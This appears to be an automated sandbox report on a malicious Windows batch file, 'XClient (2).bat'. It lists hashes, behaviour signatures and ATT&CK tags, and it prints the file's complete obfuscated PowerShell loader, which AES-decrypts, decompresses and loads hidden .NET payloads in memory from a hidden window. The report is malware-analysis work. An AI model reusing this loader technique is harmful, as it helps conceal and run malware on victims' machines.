e87acd0cba7115834705368c2f03b629261bbc80519dc5e65c4395f992b129bc

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/11/2024, 00:02

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General

Target

XClient (2).bat
Size

278KB
MD5

87dfdc436f01e7015c743698464c3b8f
SHA1

da351d18f1495a92396cfc1c7252e1b145b9adb2
SHA256

e87acd0cba7115834705368c2f03b629261bbc80519dc5e65c4395f992b129bc
SHA512

751bec2933262568a60c32c3781083b1a087e9f750a2e70b74a376c0cb449a674422398b56314ed8059a92a1a8f92b881fcfd88f68a6f753fd82b18bdde5d499
SSDEEP

6144:KnqZeu/Xeq5Bg0g/4ZL01PA84vRlzzQbVZnPM:cKeIlgLzy8AdKVZPM

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2516	powershell.exe

Deletes itself 1 IoCs

pid	Process
2032	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 2084	2032	cmd.exe	31
PID 2032 wrote to memory of 2084	2032	cmd.exe	31
PID 2032 wrote to memory of 2084	2032	cmd.exe	31
PID 2084 wrote to memory of 1680	2084	net.exe	32
PID 2084 wrote to memory of 1680	2084	net.exe	32
PID 2084 wrote to memory of 1680	2084	net.exe	32
PID 2032 wrote to memory of 2516	2032	cmd.exe	33
PID 2032 wrote to memory of 2516	2032	cmd.exe	33
PID 2032 wrote to memory of 2516	2032	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient (2).bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NFENJiNpg1h6SHOQTfTGTD/pq4odY17xKRKy73LvL3s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('q/sPA+mDcRRjW9KDIkqcPw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fARel=New-Object System.IO.MemoryStream(,$param_var); $qyAQz=New-Object System.IO.MemoryStream; $UsAXh=New-Object System.IO.Compression.GZipStream($fARel, [IO.Compression.CompressionMode]::Decompress); $UsAXh.CopyTo($qyAQz); $UsAXh.Dispose(); $fARel.Dispose(); $qyAQz.Dispose(); $qyAQz.ToArray();}function execute_function($param_var,$param2_var){ $Ypvdz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ivVjP=$Ypvdz.EntryPoint; $ivVjP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient (2).bat';$wKWxC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient (2).bat').Split([Environment]::NewLine);foreach ($whcSy in $wKWxC) { if ($whcSy.StartsWith(':: ')) { $smtAH=$whcSy.Substring(3); break; }}$payloads_var=[string[]]$smtAH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2516-4-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

Filesize
4KB

Download
memory/2516-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2516-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2516-7-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2516-8-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2516-9-0x0000000002D34000-0x0000000002D37000-memory.dmp

Filesize
12KB

Download
memory/2516-10-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2516-11-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download